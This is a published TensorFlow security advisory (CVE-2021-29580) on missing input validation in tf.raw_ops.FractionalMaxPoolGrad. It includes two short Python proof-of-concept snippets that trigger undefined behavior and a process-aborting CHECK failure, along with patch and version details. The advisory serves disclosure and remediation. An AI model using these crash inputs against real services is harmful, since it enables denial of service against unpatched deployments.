Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`

### Impact The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty: ```python import tensorflow as tf orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64) orig_output = tf.constant([], dtype=tf.int64) out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64) row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64) col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad( orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=False) ``` The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process ```python import tensorflow as tf orig_input = tf.constant([1], shape=[1], dtype=tf.int64) orig_output = tf.constant([1], shape=[1], dtype=tf.int64) out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64) row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad( orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=False) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues. ### Patches We have patched the issue in GitHub commit [32fdcbff9d06d010d908fcc4bd4b36eb3ce15925](https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

CVSS 3.1

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Severity from

GitHub (reviewed advisory)

Weakness

CWE-908

Also known as

BIT-tensorflow-2021-29580, CVE-2021-29580, PYSEC-2021-217, PYSEC-2021-508, PYSEC-2021-706

• github.com/tensorflow/tensorflow/security/advisories/GHSA-x8h6-xgqx-jqgp
• nvd.nist.gov/vuln/detail/CVE-2021-29580
• github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-508.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-706.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-217.yaml
• github.com/tensorflow/tensorflow